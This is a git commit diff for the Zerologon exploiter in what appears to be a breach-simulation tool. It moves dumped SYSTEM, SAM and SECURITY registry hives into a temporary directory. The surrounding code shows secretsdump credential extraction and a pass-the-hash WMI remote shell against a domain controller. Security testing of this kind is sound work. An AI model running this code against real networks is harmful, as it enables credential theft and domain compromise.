agent: Create a temporary directory for zerologon artifacts

Not all users are guaranteed to have a $HOME. Use a temporary directory
instead.
This commit is contained in:
Mike Salvatore 2021-05-04 06:47:43 -04:00
parent 7f06ec4034
commit 85b079c1ab
3 changed files with 22 additions and 9 deletions

View File

@ -7,6 +7,7 @@ https://github.com/risksense/zerologon/.
import logging import logging
import os import os
import re import re
import tempfile
from binascii import unhexlify from binascii import unhexlify
from typing import Dict, List, Optional, Tuple from typing import Dict, List, Optional, Tuple
@ -39,6 +40,10 @@ class ZerologonExploiter(HostExploiter):
self.exploit_info["credentials"] = {} self.exploit_info["credentials"] = {}
self.exploit_info["password_restored"] = None self.exploit_info["password_restored"] = None
self._extracted_creds = {} self._extracted_creds = {}
self._secrets_dir = tempfile.TemporaryDirectory(prefix="zerologon")
def __del__(self):
self._secrets_dir.cleanup()
def _exploit_host(self) -> bool: def _exploit_host(self) -> bool:
self.dc_ip, self.dc_name, self.dc_handle = get_dc_details(self.host) self.dc_ip, self.dc_name, self.dc_handle = get_dc_details(self.host)
@ -302,9 +307,9 @@ class ZerologonExploiter(HostExploiter):
options = OptionsForSecretsdump( options = OptionsForSecretsdump(
dc_ip=self.dc_ip, dc_ip=self.dc_ip,
just_dc=False, just_dc=False,
system=os.path.join(os.path.expanduser("~"), "monkey-system.save"), system=os.path.join(self._secrets_dir.name, "monkey-system.save"),
sam=os.path.join(os.path.expanduser("~"), "monkey-sam.save"), sam=os.path.join(self._secrets_dir.name, "monkey-sam.save"),
security=os.path.join(os.path.expanduser("~"), "monkey-security.save"), security=os.path.join(self._secrets_dir.name, "monkey-security.save"),
) )
dumped_secrets = self.get_dumped_secrets(remote_name="LOCAL", options=options) dumped_secrets = self.get_dumped_secrets(remote_name="LOCAL", options=options)
@ -331,7 +336,11 @@ class ZerologonExploiter(HostExploiter):
) )
wmiexec = Wmiexec( wmiexec = Wmiexec(
ip=self.dc_ip, username=username, hashes=":".join(user_pwd_hashes), domain=self.dc_ip ip=self.dc_ip,
username=username,
hashes=":".join(user_pwd_hashes),
domain=self.dc_ip,
secrets_dir=self._secrets_dir,
) )
remote_shell = wmiexec.get_remote_shell() remote_shell = wmiexec.get_remote_shell()
@ -372,7 +381,7 @@ class ZerologonExploiter(HostExploiter):
def remove_locally_saved_HKLM_keys(self) -> None: def remove_locally_saved_HKLM_keys(self) -> None:
for name in ["system", "sam", "security"]: for name in ["system", "sam", "security"]:
path = os.path.join(os.path.expanduser("~"), f"monkey-{name}.save") path = os.path.join(self._secrets_dir.name, f"monkey-{name}.save")
try: try:
os.remove(path) os.remove(path)
except Exception as e: except Exception as e:

View File

@ -58,7 +58,7 @@ LOG = logging.getLogger(__name__)
class RemoteShell(cmd.Cmd): class RemoteShell(cmd.Cmd):
CODEC = sys.stdout.encoding CODEC = sys.stdout.encoding
def __init__(self, share, win32Process, smbConnection, outputFilename): def __init__(self, share, win32Process, smbConnection, outputFilename, secrets_dir):
cmd.Cmd.__init__(self) cmd.Cmd.__init__(self)
self.__share = share self.__share = share
self.__output = "\\" + outputFilename self.__output = "\\" + outputFilename
@ -68,6 +68,7 @@ class RemoteShell(cmd.Cmd):
self.__transferClient = smbConnection self.__transferClient = smbConnection
self.__pwd = str("C:\\") self.__pwd = str("C:\\")
self.__noOutput = False self.__noOutput = False
self.__secrets_dir = secrets_dir
# We don't wanna deal with timeouts from now on. # We don't wanna deal with timeouts from now on.
if self.__transferClient is not None: if self.__transferClient is not None:
@ -83,7 +84,7 @@ class RemoteShell(cmd.Cmd):
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path)) newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
drive, tail = ntpath.splitdrive(newPath) drive, tail = ntpath.splitdrive(newPath)
filename = ntpath.basename(tail) filename = ntpath.basename(tail)
local_file_path = os.path.join(os.path.expanduser("~"), "monkey-" + filename) local_file_path = os.path.join(self.__secrets_dir.name, "monkey-" + filename)
fh = open(local_file_path, "wb") fh = open(local_file_path, "wb")
LOG.info("Downloading %s\\%s" % (drive, tail)) LOG.info("Downloading %s\\%s" % (drive, tail))
self.__transferClient.getFile(drive[:-1] + "$", tail, fh.write) self.__transferClient.getFile(drive[:-1] + "$", tail, fh.write)

View File

@ -61,13 +61,16 @@ LOG = logging.getLogger(__name__)
class Wmiexec: class Wmiexec:
OUTPUT_FILENAME = "__" + str(time.time()) OUTPUT_FILENAME = "__" + str(time.time())
def __init__(self, ip, username, hashes, password="", domain="", share="ADMIN$"): def __init__(
self, ip, username, hashes, password="", domain="", share="ADMIN$", secrets_dir=None
):
self.__ip = ip self.__ip = ip
self.__username = username self.__username = username
self.__password = password self.__password = password
self.__domain = domain self.__domain = domain
self.__lmhash, self.__nthash = hashes.split(":") self.__lmhash, self.__nthash = hashes.split(":")
self.__share = share self.__share = share
self.__secrets_dir = secrets_dir
self.shell = None self.shell = None
def connect(self): def connect(self):
@ -107,7 +110,7 @@ class Wmiexec:
self.connect() self.connect()
win32Process, _ = self.iWbemServices.GetObject("Win32_Process") win32Process, _ = self.iWbemServices.GetObject("Win32_Process")
self.shell = RemoteShell( self.shell = RemoteShell(
self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME, self.__secrets_dir
) )
return self.shell return self.shell